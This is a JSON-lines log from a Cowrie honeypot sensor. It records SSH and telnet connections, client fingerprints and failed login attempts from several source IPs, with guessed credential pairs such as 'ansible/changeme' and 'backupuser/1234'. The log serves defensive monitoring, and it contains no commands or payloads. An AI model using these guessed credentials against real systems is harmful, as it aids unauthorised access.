{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:18.830105Z","src_ip":"159.203.92.129","session":"d8e9fb4138be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"changeme","message":"login attempt [ansible/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:18.846262Z","src_ip":"159.203.92.129","session":"d8e9fb4138be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:19.516738Z","src_ip":"156.227.233.77","session":"82ae5202a226","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:19.853482Z","src_ip":"159.203.92.129","session":"d8e9fb4138be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53586,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b505fe3f80b","protocol":"telnet","message":"New connection: 62.171.135.55:53586 (159.203.135.109:23) [session: 6b505fe3f80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:28.068761Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53652,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fa5bc7bfde9","protocol":"telnet","message":"New connection: 62.171.135.55:53652 (159.203.135.109:23) [session: 4fa5bc7bfde9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:28.095609Z"}
{"eventid":"cowrie.session.closed","duration":120.00149774551392,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:37.670700Z","src_ip":"176.241.84.101","session":"88ba9baa4325","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":40094,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3913421cf07","protocol":"telnet","message":"New connection: 62.171.135.55:40094 (159.203.135.109:23) [session: e3913421cf07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:41.825294Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":45174,"dst_ip":"159.203.135.109","dst_port":23,"session":"e23cec1b5fa1","protocol":"telnet","message":"New connection: 62.171.135.55:45174 (159.203.135.109:23) [session: e23cec1b5fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:43.453826Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":47368,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c9dc2cbdece","protocol":"telnet","message":"New connection: 62.171.135.55:47368 (159.203.135.109:23) [session: 1c9dc2cbdece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:44.233928Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":47576,"dst_ip":"159.203.135.109","dst_port":23,"session":"f74408937b61","protocol":"telnet","message":"New connection: 62.171.135.55:47576 (159.203.135.109:23) [session: f74408937b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:44.310166Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":50016,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c5c600dfd4f","protocol":"telnet","message":"New connection: 62.171.135.55:50016 (159.203.135.109:23) [session: 0c5c600dfd4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:45.238348Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":52038,"dst_ip":"159.203.135.109","dst_port":23,"session":"c186ab08c57b","protocol":"telnet","message":"New connection: 62.171.135.55:52038 (159.203.135.109:23) [session: c186ab08c57b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:45.961789Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":52944,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3ef414462b4","protocol":"telnet","message":"New connection: 62.171.135.55:52944 (159.203.135.109:23) [session: d3ef414462b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:46.282755Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53216,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a36a15b4be8","protocol":"telnet","message":"New connection: 62.171.135.55:53216 (159.203.135.109:23) [session: 8a36a15b4be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:46.401083Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":53340,"dst_ip":"159.203.135.109","dst_port":23,"session":"927272d0fd50","protocol":"telnet","message":"New connection: 62.171.135.55:53340 (159.203.135.109:23) [session: 927272d0fd50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:46.447658Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":33042,"dst_ip":"159.203.135.109","dst_port":23,"session":"5be7e708ad8e","protocol":"telnet","message":"New connection: 62.171.135.55:33042 (159.203.135.109:23) [session: 5be7e708ad8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:49.193911Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":33656,"dst_ip":"159.203.135.109","dst_port":23,"session":"00d6aa1dee8b","protocol":"telnet","message":"New connection: 62.171.135.55:33656 (159.203.135.109:23) [session: 00d6aa1dee8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:49.409098Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":36580,"dst_ip":"159.203.135.109","dst_port":23,"session":"0993f7dc5fa4","protocol":"telnet","message":"New connection: 62.171.135.55:36580 (159.203.135.109:23) [session: 0993f7dc5fa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:50.318305Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":50258,"dst_ip":"159.203.135.109","dst_port":23,"session":"078a44a55ada","protocol":"telnet","message":"New connection: 62.171.135.55:50258 (159.203.135.109:23) [session: 078a44a55ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:54.577229Z"}
{"eventid":"cowrie.session.closed","duration":31.081326723098755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:59.149955Z","src_ip":"62.171.135.55","session":"6b505fe3f80b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.127144813537598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:22:59.222626Z","src_ip":"62.171.135.55","session":"4fa5bc7bfde9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":39652,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca6f9c194182","protocol":"telnet","message":"New connection: 62.171.135.55:39652 (159.203.135.109:23) [session: ca6f9c194182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:00.323137Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60508,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d38e80b962f","protocol":"ssh","message":"New connection: 159.203.92.129:60508 (159.203.135.109:22) [session: 3d38e80b962f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:01.158270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:01.163521Z","src_ip":"159.203.92.129","session":"3d38e80b962f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:01.170981Z","src_ip":"159.203.92.129","session":"3d38e80b962f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"cj217_0114","message":"login attempt [ansible/cj217_0114] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:01.182834Z","src_ip":"159.203.92.129","session":"3d38e80b962f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:02.189223Z","src_ip":"159.203.92.129","session":"3d38e80b962f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":47328,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1f8ed0f2731","protocol":"telnet","message":"New connection: 62.171.135.55:47328 (159.203.135.109:23) [session: f1f8ed0f2731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:02.518522Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":56592,"dst_ip":"159.203.135.109","dst_port":23,"session":"76afa7092a3f","protocol":"telnet","message":"New connection: 62.171.135.55:56592 (159.203.135.109:23) [session: 76afa7092a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:05.236274Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":57738,"dst_ip":"159.203.135.109","dst_port":23,"session":"42a9a18de79e","protocol":"telnet","message":"New connection: 62.171.135.55:57738 (159.203.135.109:23) [session: 42a9a18de79e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:05.531584Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":60324,"dst_ip":"159.203.135.109","dst_port":23,"session":"98ce878bfa1f","protocol":"telnet","message":"New connection: 62.171.135.55:60324 (159.203.135.109:23) [session: 98ce878bfa1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:06.391031Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":45700,"dst_ip":"159.203.135.109","dst_port":23,"session":"a556abcfd134","protocol":"telnet","message":"New connection: 62.171.135.55:45700 (159.203.135.109:23) [session: a556abcfd134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:10.888226Z"}
{"eventid":"cowrie.session.closed","duration":30.29301404953003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:12.118198Z","src_ip":"62.171.135.55","session":"e3913421cf07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":47198,"dst_ip":"159.203.135.109","dst_port":22,"session":"af0891b064d8","protocol":"ssh","message":"New connection: 156.227.233.77:47198 (159.203.135.109:22) [session: af0891b064d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:12.806260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:12.810596Z","src_ip":"156.227.233.77","session":"af0891b064d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:12.974829Z","src_ip":"156.227.233.77","session":"af0891b064d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backupuser","password":"1234","message":"login attempt [backupuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:13.662826Z","src_ip":"156.227.233.77","session":"af0891b064d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.818891525268555,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:14.272603Z","src_ip":"62.171.135.55","session":"e23cec1b5fa1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:14.833275Z","src_ip":"156.227.233.77","session":"af0891b064d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.893429040908813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:15.127238Z","src_ip":"62.171.135.55","session":"1c9dc2cbdece","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840806007385254,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:15.150859Z","src_ip":"62.171.135.55","session":"f74408937b61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.828460693359375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:16.066701Z","src_ip":"62.171.135.55","session":"0c5c600dfd4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.607035875320435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:17.054600Z","src_ip":"62.171.135.55","session":"927272d0fd50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.101149559020996,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:17.062788Z","src_ip":"62.171.135.55","session":"c186ab08c57b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.933918714523315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:17.216580Z","src_ip":"62.171.135.55","session":"d3ef414462b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00158143043518,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:17.306319Z","src_ip":"104.174.176.251","session":"636ae70b3a32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.260849952697754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:17.661843Z","src_ip":"62.171.135.55","session":"8a36a15b4be8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892184257507324,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:20.301159Z","src_ip":"62.171.135.55","session":"00d6aa1dee8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.292511224746704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:20.486301Z","src_ip":"62.171.135.55","session":"5be7e708ad8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.164201259613037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:21.482417Z","src_ip":"62.171.135.55","session":"0993f7dc5fa4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":51918,"dst_ip":"10.17.0.5","dst_port":22,"session":"567e9ae6e15b","protocol":"ssh","message":"New connection: 80.94.92.182:51918 (10.17.0.5:22) [session: 567e9ae6e15b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:22.175567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:22.253905Z","src_ip":"80.94.92.182","session":"567e9ae6e15b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:22.351385Z","src_ip":"80.94.92.182","session":"567e9ae6e15b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"ZXCVASDFQWER!@#$","message":"login attempt [sol/ZXCVASDFQWER!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:23.158625Z","src_ip":"80.94.92.182","session":"567e9ae6e15b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":57948,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a7ffbd0e622","protocol":"telnet","message":"New connection: 62.171.135.55:57948 (159.203.135.109:23) [session: 7a7ffbd0e622]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:24.338384Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:24.464263Z","src_ip":"80.94.92.182","session":"567e9ae6e15b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":58550,"dst_ip":"159.203.135.109","dst_port":23,"session":"412c4797862b","protocol":"telnet","message":"New connection: 62.171.135.55:58550 (159.203.135.109:23) [session: 412c4797862b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:24.541278Z"}
{"eventid":"cowrie.session.closed","duration":30.845325469970703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:23:25.422435Z","src_ip":"62.171.135.55","session":"078a44a55ada","protocol":"telnet"}
